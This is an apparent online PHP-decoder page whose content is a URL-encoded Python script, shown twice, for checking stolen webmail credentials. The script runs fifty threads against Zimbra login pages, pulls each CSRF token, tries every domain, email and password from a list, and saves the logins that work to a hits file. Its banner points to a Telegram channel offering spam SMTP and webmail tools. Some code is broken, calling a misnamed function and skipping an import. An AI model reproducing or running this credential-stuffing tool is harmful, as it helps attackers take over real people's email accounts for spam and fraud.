Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
import%20requests%0Aimport%20concurrent.futures%0Afrom%20colorama%20import%20Fore%2C%20Sty..
Decoded Output download
<? import%20requests%0Aimport%20concurrent.futures%0Afrom%20colorama%20import%20Fore%2C%20Style%2C%20init%0A%0Ainit%28autoreset%3DTrue%29%20%20%0A%0Adef%20is_amazighi_smtp%28domain%2C%20port%2C%20email%2C%20password%29%3A%0A%20%20%20%20try%3A%0A%20%20%20%20%20%20%20%20url%20%3D%20f%22https%3A//%7Bdomain%7D%3A%7Bport%7D/zimbra/%22%0A%20%20%20%20%20%20%20%20headers%20%3D%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%27User-Agent%27%3A%20%27Mozilla/5.0%20%28Linux%3B%20Android%2012%3B%20Redmi%20Note%209%20Pro%20Build/SKQ1.211019.001%3B%20wv%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Version/4.0%20Chrome/112.0.5615.48%20Mobile%20Safari/537.36%27%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20login_url%20%3D%20f%22%7Burl%7D%3FloginOp%3Drelogin%26client%3Dmobile%26loginErrorCode%3Dservice.AUTH_REQUIRED%22%0A%20%20%20%20%20%20%20%20response%20%3D%20requests.get%28login_url%2C%20headers%3Dheaders%29.content%0A%20%20%20%20%20%20%20%20csrf_token%20%3D%20re.findall%28%27name%3D%22login_csrf%22%20value%3D%22%28.*%3F%29%22/%3E%27%2C%20response%29%0A%0A%20%20%20%20%20%20%20%20data%20%3D%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%27loginOp%27%3A%20%27login%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%27login_csrf%27%3A%20csrf_token%5B0%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%27username%27%3A%20email%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%27password%27%3A%20password%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%27client%27%3A%20%27preferred%27%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20cookies%20%3D%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%27ZM_TEST%27%3A%20%27true%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%27ZM_LOGIN_CSRF%27%3A%20csrf_token%5B0%5D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20response%20%3D%20requests.post%28url%2C%20data%3Ddata%2C%20cookies%3Dcookies%2C%20allow_redirects%3DTrue%2C%20headers%3Dheaders%2C%20timeout%3D15%29.content%0A%0A%20%20%20%20%20%20%20%20if%20%27loginOp%3Dlogout%26client%3Dmobile%27%20in%20response%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20True%0A%20%20%20%20%20%20%20%20else%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20False%0A%20%20%20%20except%20Exception%3A%0A%20%20%20%20%20%20%20%20return%20False%0A%0Adef%20check_domain%28line%29%3A%0A%20%20%20%20try%3A%0A%20%20%20%20%20%20%20%20domain%2C%20port%2C%20email%2C%20password%20%3D%20map%28str.strip%2C%20line.split%28%27%7C%27%29%29%0A%20%20%20%20%20%20%20%20is_smtp%20%3D%20is_zimbra_smtp%28domain%2C%20port%2C%20email%2C%20password%29%0A%0A%20%20%20%20%20%20%20%20if%20is_smtp%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20print%28Fore.GREEN%20+%20f%22%5BZimbra%20WEBMAIL%5D%20%3D%3D%3E%20%7Bdomain%7D%7C%22%29%0A%20%20%20%20%20%20%20%20%20%20%20%20with%20open%28%22Zimbra_SMTP_Hits.txt%22%2C%20%22a%22%29%20as%20outfile%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20outfile.write%28f%22%7Bdomain%7D%7C%7Bport%7D%7C%7Bemail%7D%7C%7Bpassword%7D%5Cn%22%29%0A%0A%0A%20%20%20%20%20%20%20%20else%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20print%28Fore.RED%20+%20f%22%5BNot%20Zimbra%20WEBMAIL%5D%22%20+%20Fore.YELLOW%20+%20%22%20%20%20%20%3D%3D%3E%20%20%20%20%22%20+%20Fore.CYAN%20+%20Style.DIM%20+%20f%22%20%20%20%20%7Bdomain%7D%22%29%0A%20%20%20%20except%20ValueError%3A%0A%20%20%20%20%20%20%20%20print%28Fore.RED%20+%20f%22%5BInvalid%20Format%5D%20%3D%3D%3E%20%7Bline.strip%28%29%7D%22%29%0A%0Aif%20__name__%20%3D%3D%20%27__main__%27%3A%0A%20%20%20%20print%28Fore.GREEN%20+%20%22%22%22amazighi%20WEBMAIL%20%20Checker%5Cn%0A%20%20%20%5B-%5Dother%20smtps%20%26%20webmail%20tools%20on%20%3D%3E%20%20https%3A//t.me/amazighspam%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20_%20%20%20%20__%20%20__%20%20%20%20_%20%20%20%20%20________%20____%20_%20%20%20_%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20/%20%5C%20%20%7C%20%20%5C/%20%20%7C%20%20/%20%5C%20%20%20%7C__%20%20/_%20_/%20___%7C%20%7C%20%7C%20%7C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20/%20_%20%5C%20%7C%20%7C%5C/%7C%20%7C%20/%20_%20%5C%20%20%20%20/%20/%20%7C%20%7C%20%7C%20%20_%7C%20%7C_%7C%20%7C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20/%20___%20%5C%7C%20%7C%20%20%7C%20%7C/%20___%20%5C%20%20/%20/_%20%7C%20%7C%20%7C_%7C%20%7C%20%20_%20%20%7C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20/_/%20%20%20%5C_%5C_%7C%20%20%7C_/_/%20%20%20%5C_%5C/____%7C___%5C____%7C_%7C%20%7C_%7C%0A%20%20%20%20%0A%20%20%20%20%22%22%22%29%0A%20%20%20%20file_path%20%3D%20input%28%22Enter%20the%20file%20name%20containing%20domain%7Cport%7Cemail%7Cpassword%3A%20%22%29%0A%20%20%20%20domains%20%3D%20open%28file_path%2C%20%27r%27%29.read%28%29.splitlines%28%29%0A%0A%20%20%20%20try%3A%0A%20%20%20%20%20%20%20%20with%20concurrent.futures.ThreadPoolExecutor%2850%29%20as%20executor%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20executor.map%28check_domain%2C%20domains%29%0A%20%20%20%20except%20Exception%20as%20e%3A%0A%20%20%20%20%20%20%20%20print%28e%29%0A ?>
Did this file decode correctly?
Original Code
import%20requests%0Aimport%20concurrent.futures%0Afrom%20colorama%20import%20Fore%2C%20Style%2C%20init%0A%0Ainit%28autoreset%3DTrue%29%20%20%0A%0Adef%20is_amazighi_smtp%28domain%2C%20port%2C%20email%2C%20password%29%3A%0A%20%20%20%20try%3A%0A%20%20%20%20%20%20%20%20url%20%3D%20f%22https%3A//%7Bdomain%7D%3A%7Bport%7D/zimbra/%22%0A%20%20%20%20%20%20%20%20headers%20%3D%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%27User-Agent%27%3A%20%27Mozilla/5.0%20%28Linux%3B%20Android%2012%3B%20Redmi%20Note%209%20Pro%20Build/SKQ1.211019.001%3B%20wv%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Version/4.0%20Chrome/112.0.5615.48%20Mobile%20Safari/537.36%27%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20login_url%20%3D%20f%22%7Burl%7D%3FloginOp%3Drelogin%26client%3Dmobile%26loginErrorCode%3Dservice.AUTH_REQUIRED%22%0A%20%20%20%20%20%20%20%20response%20%3D%20requests.get%28login_url%2C%20headers%3Dheaders%29.content%0A%20%20%20%20%20%20%20%20csrf_token%20%3D%20re.findall%28%27name%3D%22login_csrf%22%20value%3D%22%28.*%3F%29%22/%3E%27%2C%20response%29%0A%0A%20%20%20%20%20%20%20%20data%20%3D%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%27loginOp%27%3A%20%27login%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%27login_csrf%27%3A%20csrf_token%5B0%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%27username%27%3A%20email%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%27password%27%3A%20password%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%27client%27%3A%20%27preferred%27%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20cookies%20%3D%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%27ZM_TEST%27%3A%20%27true%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%27ZM_LOGIN_CSRF%27%3A%20csrf_token%5B0%5D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20response%20%3D%20requests.post%28url%2C%20data%3Ddata%2C%20cookies%3Dcookies%2C%20allow_redirects%3DTrue%2C%20headers%3Dheaders%2C%20timeout%3D15%29.content%0A%0A%20%20%20%20%20%20%20%20if%20%27loginOp%3Dlogout%26client%3Dmobile%27%20in%20response%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20True%0A%20%20%20%20%20%20%20%20else%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20False%0A%20%20%20%20except%20Exception%3A%0A%20%20%20%20%20%20%20%20return%20False%0A%0Adef%20check_domain%28line%29%3A%0A%20%20%20%20try%3A%0A%20%20%20%20%20%20%20%20domain%2C%20port%2C%20email%2C%20password%20%3D%20map%28str.strip%2C%20line.split%28%27%7C%27%29%29%0A%20%20%20%20%20%20%20%20is_smtp%20%3D%20is_zimbra_smtp%28domain%2C%20port%2C%20email%2C%20password%29%0A%0A%20%20%20%20%20%20%20%20if%20is_smtp%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20print%28Fore.GREEN%20+%20f%22%5BZimbra%20WEBMAIL%5D%20%3D%3D%3E%20%7Bdomain%7D%7C%22%29%0A%20%20%20%20%20%20%20%20%20%20%20%20with%20open%28%22Zimbra_SMTP_Hits.txt%22%2C%20%22a%22%29%20as%20outfile%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20outfile.write%28f%22%7Bdomain%7D%7C%7Bport%7D%7C%7Bemail%7D%7C%7Bpassword%7D%5Cn%22%29%0A%0A%0A%20%20%20%20%20%20%20%20else%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20print%28Fore.RED%20+%20f%22%5BNot%20Zimbra%20WEBMAIL%5D%22%20+%20Fore.YELLOW%20+%20%22%20%20%20%20%3D%3D%3E%20%20%20%20%22%20+%20Fore.CYAN%20+%20Style.DIM%20+%20f%22%20%20%20%20%7Bdomain%7D%22%29%0A%20%20%20%20except%20ValueError%3A%0A%20%20%20%20%20%20%20%20print%28Fore.RED%20+%20f%22%5BInvalid%20Format%5D%20%3D%3D%3E%20%7Bline.strip%28%29%7D%22%29%0A%0Aif%20__name__%20%3D%3D%20%27__main__%27%3A%0A%20%20%20%20print%28Fore.GREEN%20+%20%22%22%22amazighi%20WEBMAIL%20%20Checker%5Cn%0A%20%20%20%5B-%5Dother%20smtps%20%26%20webmail%20tools%20on%20%3D%3E%20%20https%3A//t.me/amazighspam%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20_%20%20%20%20__%20%20__%20%20%20%20_%20%20%20%20%20________%20____%20_%20%20%20_%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20/%20%5C%20%20%7C%20%20%5C/%20%20%7C%20%20/%20%5C%20%20%20%7C__%20%20/_%20_/%20___%7C%20%7C%20%7C%20%7C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20/%20_%20%5C%20%7C%20%7C%5C/%7C%20%7C%20/%20_%20%5C%20%20%20%20/%20/%20%7C%20%7C%20%7C%20%20_%7C%20%7C_%7C%20%7C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20/%20___%20%5C%7C%20%7C%20%20%7C%20%7C/%20___%20%5C%20%20/%20/_%20%7C%20%7C%20%7C_%7C%20%7C%20%20_%20%20%7C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20/_/%20%20%20%5C_%5C_%7C%20%20%7C_/_/%20%20%20%5C_%5C/____%7C___%5C____%7C_%7C%20%7C_%7C%0A%20%20%20%20%0A%20%20%20%20%22%22%22%29%0A%20%20%20%20file_path%20%3D%20input%28%22Enter%20the%20file%20name%20containing%20domain%7Cport%7Cemail%7Cpassword%3A%20%22%29%0A%20%20%20%20domains%20%3D%20open%28file_path%2C%20%27r%27%29.read%28%29.splitlines%28%29%0A%0A%20%20%20%20try%3A%0A%20%20%20%20%20%20%20%20with%20concurrent.futures.ThreadPoolExecutor%2850%29%20as%20executor%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20executor.map%28check_domain%2C%20domains%29%0A%20%20%20%20except%20Exception%20as%20e%3A%0A%20%20%20%20%20%20%20%20print%28e%29%0A
Function Calls
None |
Stats
MD5 | 51486077eadf993ca9d8c996a251123f |
Eval Count | 0 |
Decode Time | 55 ms |